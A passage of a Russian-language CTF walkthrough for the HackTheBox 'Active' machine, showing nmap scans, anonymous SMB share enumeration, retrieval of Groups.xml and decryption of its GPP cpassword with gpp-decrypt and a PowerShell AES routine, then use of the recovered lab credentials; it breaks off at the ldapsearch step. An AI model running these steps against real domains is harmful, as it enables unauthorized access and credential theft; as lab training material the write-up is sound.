В сегодняшней статье я покажу, как пройти путь с нуля до полноценного администратора контроллера домена Active Directory, а поможет нам одна из виртуалок, доступных для взлома на CTF-площадке HackTheBox. Пусть это и не самая сложная машина, но овладеть навыками работы с AD крайне важно, если ты собираешься пентестить корпоративные сети.
Еще по теме: Взлом и защита Active Directory
HackTheBox (HTB) — полузакрытая площадка для хакерских соревнований CTF. Чтобы получить инвайт, нужно пройти небольшое испытание. После этого тебе дадут доступ к десяткам заведомо уязвимых виртуальных машин и ты сможешь прокачивать навыки пентестера. Автор статьи успел потратить немало сил в погоне за высокой строчкой в рейтинговой таблице HTB.
Контроллер домена Active Directory — это критически важная составляющая почти любой современной IT-инфраструктуры. Служба каталогов Windows Server всегда была желанным объектом контроля для нарушителей, решивших прочно обустроиться внутри корпоративной сети. Поэтому аспекты обеспечения защиты AD — животрепещущая тема для обсуждения в любой компании исследователей кибербезопасности.
Виртуалка, которую мы будем ломать, называется Active. Ее сложность оценивается сообществом невысоко — 4,6 балла из 10. Вот что нам предстоит проделать с ней:
- сбор информации о разделяемых SMB-ресурсах (пробуем ряд крутых утилит: smbclient, smbmap, enum4linux, nullinux);
- разграбление SMB с анонимным доступом для захвата файла конфигураций групповых политик Groups.xml;
- декрипт GPP-пароля из той самой Groups.xml;
- получение доступа к внутридоменному аккаунту, атака Kerberoasting (против протокола аутентификации Kerberos), извлечение тикета администратора с помощью коллекции скриптов impacket;
- наконец, офлайновое восстановление пароля администратора из хеша с помощью Hashcat для окончательного захвата контроллера.
«…Лежа в пещере своей, в три глотки лаял огромный Цербер, и лай громовой оглашал молчаливое царство…»
Разведка
Начальная стадия — сбор информации об объекте исследования для дальнейшего анализа. От качества этой фазы во многом зависит успешность планируемой атаки. Мы соберем необходимые сведения, которые определят вектор проникновения в систему.
Nmap
Следуя хорошему тону, сперва аккуратно «прощупаем» виртуалку на предмет открытых портов с помощью Nmap: пока не используем тяжелую артиллерию — скриптовые обвесы NSE и определение версий запущенных сервисов, иначе время сканирования существенно увеличилось бы. Задаем интенсивность в 5000 пакетов в секунду (имеет смысл, когда работаешь с хостом на Windows, к которому, помимо тебя, одновременно стучится еще сотня-другая пользователей HTB) и на всякий случай запросим отчеты во всех форматах (.nmap, .gnmap, .xml) с помощью флага -oA.
1 |
root@kali:~# nmap -n -vvv -sS -Pn —min-rate 5000 -oA nmap/initial 10.10.10.100 |
Смотрим отчет.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
root@kali:~# cat nmap/initial.nmap # Nmap 7.70 scan initiated Sat Dec 15 23:26:06 2018 as: nmap -n -vvv -sS -Pn —min-rate 5000 -oA nmap/initial 10.10.10.100 Nmap scan report for 10.10.10.100 Host is up, received user-set (0.14s latency). Scanned at 2018-12-15 23:26:06 MSK for 1s Not shown: 983 closed ports Reason: 983 resets PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127 49152/tcp open unknown syn-ack ttl 127 49153/tcp open unknown syn-ack ttl 127 49154/tcp open unknown syn-ack ttl 127 49155/tcp open unknown syn-ack ttl 127 49157/tcp open unknown syn-ack ttl 127 49158/tcp open unknown syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Sat Dec 15 23:26:07 2018 — 1 IP address (1 host up) scanned in 0.80 seconds |
Значение TTL, равное 128, еще раз подтверждает, что это тачка с Windows.
Много открытых портов, много сервисов. Повысим детализацию и узнаем версии всего того, что запущено, задействовав заодно флаг -sC. Он добавит к сканированию дефолтные скрипты из арсенала NSE.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
root@kali:~# nmap -n -vvv -sS -sV -sC -oA nmap/version —stylesheet nmap-bootstrap.xsl 10.10.10.100 root@kali:~# cat nmap/version.nmap # Nmap 7.70 scan initiated Sat Dec 15 23:26:38 2018 as: nmap -n -vvv -sS -sV -sC -oA nmap/version —stylesheet nmap-bootstrap.xsl 10.10.10.100 Nmap scan report for 10.10.10.100 Host is up, received echo-reply ttl 127 (0.14s latency). Scanned at 2018-12-15 23:26:38 MSK for 200s Not shown: 983 closed ports Reason: 983 resets PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2018-12-15 20:19:56Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack ttl 127 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack ttl 127 49152/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49153/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49155/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49157/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: -7m07s, deviation: 0s, median: -7m07s | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 53842/tcp): CLEAN (Couldn't connect) | Check 2 (port 40109/tcp): CLEAN (Couldn't connect) | Check 3 (port 43653/udp): CLEAN (Timeout) | Check 4 (port 38631/udp): CLEAN (Failed to receive data) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2018-12-15 23:20:56 |_ start_date: 2018-12-11 03:34:26 Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Dec 15 23:29:58 2018 — 1 IP address (1 host up) scanned in 200.67 seconds |
Nmap позволяет генерировать красивые отчеты в HTML с помощью опции —stylesheet. Для этого только нужно создать подходящий шаблон XSL-таблицы стилей или воспользоваться готовым. К примеру, хороший вариант — nmap-bootstrap-xsl.
По результатам расширенного сканирования заключаем:
- это контроллер домена Active Directory с именем домена active.htb;
- ОС — Windows Server 2008 R2 SP1;
- microsoft-ds? (он же Microsoft Directory Services, или SMB) — сетевые разделяемые ресурсы SMB, в простонародье «SMB-шары» версии 2 на 445-м порте;
- система аутентификации Kerberos на 88-м порте.
Начнем с очевидного — посмотрим, что скрывает SMB.
Энумерация SMB — порт 445
Об этом можно было бы написать отдельную статью, но здесь мы лишь вкратце рассмотрим софт для срыва покровов с SMB-шар.
NSE (Nmap Scripting Engine)
У всемогущего Nmap есть арсенал скриптов на все случаи жизни. Вытягивание информации об SMB — не исключение. Посмотрим, что есть в его ассортименте из категорий default, version и safe, использовав контекстный поиск по файлам с расширением .nse в Kali Linux.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
root@kali:~# locate -r ‘\.nse$’ | xargs grep categories | grep ‘default\|version\|safe’ | grep smb /usr/share/nmap/scripts/smb-double-pulsar-backdoor.nse:categories = {"vuln", "safe", "malware"} /usr/share/nmap/scripts/smb-enum-services.nse:categories = {"discovery","intrusive","safe"} /usr/share/nmap/scripts/smb-ls.nse:categories = {"discovery", "safe"} /usr/share/nmap/scripts/smb-mbenum.nse:categories = {"discovery", "safe"} /usr/share/nmap/scripts/smb-os-discovery.nse:categories = {"default", "discovery", "safe"} /usr/share/nmap/scripts/smb-protocols.nse:categories = {"safe", "discovery"} /usr/share/nmap/scripts/smb-security-mode.nse:categories = {"default", "discovery", "safe"} /usr/share/nmap/scripts/smb-vuln-ms17-010.nse:categories = {"vuln", "safe"} /usr/share/nmap/scripts/smb2-capabilities.nse:categories = {"safe", "discovery"} /usr/share/nmap/scripts/smb2-security-mode.nse:categories = {"safe", "discovery", "default"} /usr/share/nmap/scripts/smb2-time.nse:categories = {"discovery", "safe", "default"} /usr/share/nmap/scripts/smb2-vuln-uptime.nse:categories = {"vuln", "safe"}[crayon-670626398fbec729731395 inline="true" ] |
[/crayon]
Направим безопасные (safe) творения скриптового движка на 445-й порт:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
root@kali:~# nmap -n —script safe -oA nmap/nse-smb-enum -p445 10.10.10.100 root@kali:~# cat nmap/nse-smb-enum.nmap # Nmap 7.70 scan initiated Sun Dec 16 00:03:51 2018 as: nmap -n —script safe -oA nmap/nse-smb-enum -p445 10.10.10.100 Pre-scan script results: | broadcast-dhcp-discover: | Response 1 of 1: | IP Offered: 10.0.2.16 | Subnet Mask: 255.255.255.0 | Router: 10.0.2.2 | Domain Name Server: 192.168.1.1 |_ Server Identifier: 10.0.2.2 | broadcast-ping: | IP: 192.168.1.140 MAC: 52:54:00:12:35:02 |_ Use --script-args=newtargets to add the results as targets |_eap-info: please specify an interface with -e | targets-asn: |_ targets-asn.asn is a mandatory parameter Nmap scan report for 10.10.10.100 Host is up (0.14s latency). PORT STATE SERVICE 445/tcp open microsoft-ds |_smb-enum-services: ERROR: Script execution failed (use -d to debug) Host script results: |_clock-skew: mean: -7m06s, deviation: 0s, median: -7m06s |_fcrdns: FAIL (No PTR record) |_ipidseq: Incremental! |_msrpc-enum: Could not negotiate a connection:SMB: ERROR: Server disconnected the connection |_path-mtu: PMTU == 1500 | smb-mbenum: |_ ERROR: Failed to connect to browser service: Could not negotiate a connection:SMB: ERROR: Server disconnected the connection | smb-protocols: | dialects: | 2.02 |_ 2.10 | smb2-capabilities: | 2.02: | Distributed File System | 2.10: | Distributed File System | Leasing |_ Multi-credit operations | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2018-12-15 23:57:31 |_ start_date: 2018-12-11 03:34:26 | unusual-port: |_ WARNING: this script depends on Nmap's service/version detection (-sV) Post-scan script results: | reverse-index: |_ 445/tcp: 10.10.10.100 # Nmap done at Sun Dec 16 00:05:02 2018 — 1 IP address (1 host up) scanned in 71.04 seconds |
Несмотря на обширный вывод, ничего полезного мы не нашли, только еще раз подтвердили, что это протокол второй версии — SMBv2. Идем дальше.
smbclient
Утилита smbclient служит в Linux для подключения к SMB. Для начала посмотрим, какие SMB-ресурсы есть на хосте. Анонимного (Null Authentication) доступа для этого будет достаточно.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
root@kali:~# smbclient -N -L 10.10.10.100 Anonymous login successful Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Replication Disk SYSVOL Disk Logon server share Users Disk Reconnecting with SMB1 for workgroup listing. Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Failed to connect with SMB1 — no workgroup available |
Единственная директория, к которой есть доступ с Null Authentication, — это Replication, реплицированное хранилище, по сути копия системного тома SYSVOL. Это чрезвычайно интересный момент с точки зрения потенциального повышения привилегий в системе, так как SYSVOL содержит файл настроек групповых политик, изначально доступный лишь авторизированным пользователям.
Взглянем на содержимое Replication.
1 2 3 4 5 6 7 8 9 |
root@kali:~# smbclient -N ‘\\10.10.10.100\Replication’ Anonymous login successful Try «help» to get a list of possible commands. smb: \> dir . D 0 Sat Jul 21 13:37:44 2018 .. D 0 Sat Jul 21 13:37:44 2018 active.htb D 0 Sat Jul 21 13:37:44 2018 10459647 blocks of size 4096. 4946059 blocks available[crayon-670626398fbf0177391776 inline="true" ] |
[/crayon]
Чтобы не ходить по вложенным директориям вручную, воспользуемся следующей хитростью: активируем опцию рекурсивного обхода шары, выключим надоедливый промпт, чтобы он не заставлял нас подтверждать каждое действие, и сделаем полный слепок Replication, как показано ниже.
1 2 3 4 5 6 7 8 9 10 |
smb: \> recurse ON smb: \> prompt OFF smb: \> mget * getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as GPT.INI (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec) getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as GPE.INI (0.2 KiloBytes/sec) (average 0.1 KiloBytes/sec) getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as GptTmpl.inf (2.0 KiloBytes/sec) (average 0.7 KiloBytes/sec) getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (1.0 KiloBytes/sec) (average 0.8 KiloBytes/sec) getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as Registry.pol (5.1 KiloBytes/sec) (average 1.7 KiloBytes/sec) getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as GPT.INI (0.0 KiloBytes/sec) (average 1.4 KiloBytes/sec) getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as GptTmpl.inf (6.8 KiloBytes/sec) (average 2.2 KiloBytes/sec) |
Теперь мы имеем офлайновую копию папки Replication. Вывести список файлов для более наглядного анализа содержимого можно с помощью find.
1 2 3 4 5 6 7 8 |
root@kali:~# find active.htb -type f active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI |
Пока не будем зарываться дальше, а пройдемся по другим разведывательным утилитам.
smbmap
Вместо smbclient можно использовать smbmap — это более удобный инструмент, который позволяет провернуть то же самое с меньшим числом действий. Сначала просканируем сервер целиком.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
root@kali:~# smbmap -d active.htb -H 10.10.10.100 [+] Finding open SMB ports.... [+] User SMB session establishd on 10.10.10.100... [+] IP: 10.10.10.100:445 Name: 10.10.10.100 Disk Permissions ---- ----------- ADMIN$ NO ACCESS C$ NO ACCESS IPC$ NO ACCESS NETLOGON NO ACCESS Replication READ ONLY SYSVOL NO ACCESS Users NO ACCESS[crayon-670626398fbf5460313255 inline="true" ] |
[/crayon]
Сразу видим, что нам доступно с текущими правами (в данном случае — Null Authentication), что весьма удобно. Теперь одной командой попросим у smbmap рекурсивный листинг файлов директории Replication.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 |
root@kali:~# smbmap -d active.htb -H 10.10.10.100 -R Replication [+] Finding open SMB ports.... [+] User SMB session establishd on 10.10.10.100... [+] IP: 10.10.10.100:445 Name: 10.10.10.100 Disk Permissions ---- ----------- Replication READ ONLY .\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. dr--r--r-- 0 Sat Jul 21 13:37:44 2018 active.htb .\\active.htb\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. dr--r--r-- 0 Sat Jul 21 13:37:44 2018 DfsrPrivate dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Policies dr--r--r-- 0 Sat Jul 21 13:37:44 2018 scripts .\\active.htb\DfsrPrivate\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. dr--r--r-- 0 Sat Jul 21 13:37:44 2018 ConflictAndDeleted dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Deleted dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Installing .\\active.htb\Policies\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. dr--r--r-- 0 Sat Jul 21 13:37:44 2018 {31B2F340-016D-11D2-945F-00C04FB984F9} dr--r--r-- 0 Sat Jul 21 13:37:44 2018 {6AC1786C-016F-11D2-945F-00C04fB984F9} .\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. -r--r--r-- 23 Sat Jul 21 13:38:11 2018 GPT.INI dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Group Policy dr--r--r-- 0 Sat Jul 21 13:37:44 2018 MACHINE dr--r--r-- 0 Sat Jul 21 13:37:44 2018 USER .\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. -r--r--r-- 119 Sat Jul 21 13:38:11 2018 GPE.INI .\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Microsoft dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Preferences -r--r--r-- 2788 Sat Jul 21 13:38:11 2018 Registry.pol .\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Windows NT .\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. dr--r--r-- 0 Sat Jul 21 13:37:44 2018 SecEdit .\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. -r--r--r-- 1098 Sat Jul 21 13:38:11 2018 GptTmpl.inf .\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Groups .\\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. -r--r--r-- 533 Sat Jul 21 13:38:11 2018 Groups.xml .\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. -r--r--r-- 22 Sat Jul 21 13:38:11 2018 GPT.INI dr--r--r-- 0 Sat Jul 21 13:37:44 2018 MACHINE dr--r--r-- 0 Sat Jul 21 13:37:44 2018 USER .\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Microsoft .\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. dr--r--r-- 0 Sat Jul 21 13:37:44 2018 Windows NT .\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. dr--r--r-- 0 Sat Jul 21 13:37:44 2018 SecEdit .\\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\ dr--r--r-- 0 Sat Jul 21 13:37:44 2018 . dr--r--r-- 0 Sat Jul 21 13:37:44 2018 .. -r--r--r-- 3722 Sat Jul 21 13:38:11 2018 GptTmpl.inf |
И в качестве финального штриха забираем понравившийся нам файл (спойлер: это Groups.xml), указав при этом флаг -q, чтобы не смотреть на листинг лишний раз.
1 2 3 4 5 6 7 8 9 |
root@kali:~# smbmap -H 10.10.10.100 -R Replication -A Groups.xml -q [+] Finding open SMB ports.... [+] User SMB session establishd on 10.10.10.100... [+] IP: 10.10.10.100:445 Name: 10.10.10.100 Disk Permissions ---- ----------- Replication READ ONLY [+] Starting search for files matching 'Groups.xml' on share Replication. [+] Match found! Downloading: Replication\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml |
Вот еще пара разведскриптов.
- enum4linux — классика жанра. Эта написанная на Perl софтина немного устарела, но неплохо помогает в сборе информации о Windows и Samba.
- nullinux.py — обновленная и переписанная на Python альтернатива enum4linux. Делает то же, но красивее и без кучи сообщений об ошибках.
GPP (Group Policy Preferences)
Перейдем к просмотру того, что мы смогли вытащить с SMB.
Средство для управления предпочтениями групповых политик, или Group Policy Preferences (GPP), было представлено в 2008 году в Windows Server и упрощает жизнь администраторам домена. С помощью GPP они могут централизованно управлять параметрами безопасности пользователей и групп по всей своей сети.
Например, админ обнаружил, что пароль локального администратора не соответствует политике безопасности, и решил его изменить. В этом случае новый пароль зашифруется ключом AES-256 и экспортируется в Groups.xml (чтобы не потерять!). Это тот самый файл, который мы захватили вместе с папкой Replication.
Однако в 2012 году сотрудники Microsoft по какой-то причине решили открыто опубликовать тот самый ключ шифрования на MSDN, и с тех пор пароли, установленные с помощью GPP, больше не считаются безопасными. Теперь даже приклеить стикер с таким паролем на монитор кажется меньшим вандализмом — так к нему хотя бы не дотянуться по сети.
И несмотря на вышедший в 2014 году патч, запрещающий хранить пароли в Groups.xml, в 2019-м все равно остается вероятность наткнуться на ошибки конфигурации такого рода, и эта машина — как раз наш случай.
1 2 3 4 |
root@kali:~# cat Groups.xml <?xml version="1.0" encoding="utf-8"?> <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User> </Groups> |
Поле cpassword содержит пароль пользователя active.htb\SVC_TGS, зашифрованный ключом Microsoft… Уже не секретным ключом Microsoft.
1 2 3 |
root@kali:~# cat Groups.xml | grep -o ‘cpassword=»[^»]\+»\|userName=»[^»]\+»‘ cpassword=»edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ» userName=»active.htb\SVC_TGS» |
Декрипт cpassword
gpp-decrypt
В Kali Linux есть штатная утилита для расшифровки паролей GPP — gpp-decrypt.
1 2 3 |
root@kali:~# gpp-decrypt ‘edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ’ /usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated GPPstillStandingStrong2k18 |
Скрипт на PowerShell
Также есть интересный скрипт для PowerShell, который выполняет ту же задачу. Полную версию ты можешь найти на GitHub, я же использовал только нужный кусочек, взятый из комментариев в блоге автора.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
function getpwd([string]$Cpassword) { $pl = $Cpassword.length % 4 if($pl -eq 0){$pad = ""} else{$Pad = "=" * (4 - ($Cpassword.length % 4))} $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad) #Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider #Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2 [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) #Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) } |
В любом случае мы получили авторизационные данные: SVC_TGS:GPPstillStandingStrong2k18.
PrivEsc: Anonymous → SVC_TGS
Получив пользовательский доступ к SMB, заберем первый флаг из \\10.10.10.100\Users.
1 2 3 4 5 6 7 8 9 |
root@kali:~# smbmap -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 -H 10.10.10.100 -R Users -A user.txt -q [+] Finding open SMB ports.... [+] User SMB session establishd on 10.10.10.100... [+] IP: 10.10.10.100:445 Name: 10.10.10.100 Disk Permissions ---- ----------- Users READ ONLY [+] Starting search for files matching 'user.txt' on share Users. [+] Match found! Downloading: Users\SVC_TGS\Desktop\user.txt |
user.txt
1 2 |
root@kali:~# cat /usr/share/smbmap/10.10.10.100-Users_SVC_TGS_Desktop_user.txt 86d67d8b???????????????????????? |
Монтирование SMB
Для более детального изучения содержимого директорий можно монтировать SMB-шару. Для примера возьмем ту же //10.10.10.100/Users.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
root@kali:~# mount -t cifs //10.10.10.100/Users /mnt/smb -v -o user=SVC_TGS,pass=GPPstillStandingStrong2k18 mount.cifs kernel mount options: ip=10.10.10.100,unc=\\10.10.10.100\Users,user=SVC_TGS,pass=******** root@kali:~# ls -la /mnt/smb total 33 drwxr-xr-x 2 root root 4096 Jul 21 17:39 . drwxr-xr-x 3 root root 4096 Aug 8 15:54 .. drwxr-xr-x 2 root root 0 Jul 16 13:14 Administrator l--------- 1 root root 0 Jul 14 2009 'All Users' -> '/??/C:/ProgramData' drwxr-xr-x 2 root root 8192 Jul 14 2009 Default drwxr-xr-x 2 root root 8192 Jul 14 2009 'Default User' -rwxr-xr-x 1 root root 174 Jul 14 2009 desktop.ini drwxr-xr-x 2 root root 4096 Jul 14 2009 Public drwxr-xr-x 2 root root 4096 Jul 21 18:16 SVC_TGS |
Получение пользователей AD
Итак, у нас есть аккаунт внутри домена. Можно воспользоваться утилитой ldapsearch для поиска записей о пользователях домена в службе каталога, доступной по протоколу LDAP. Использование фильтра useraccountcontrol:1.2.840.113556.1.4.803: со значением 2 гарантирует, что мы получим информацию только об активных аккаунтах AD.
1 2 3 |
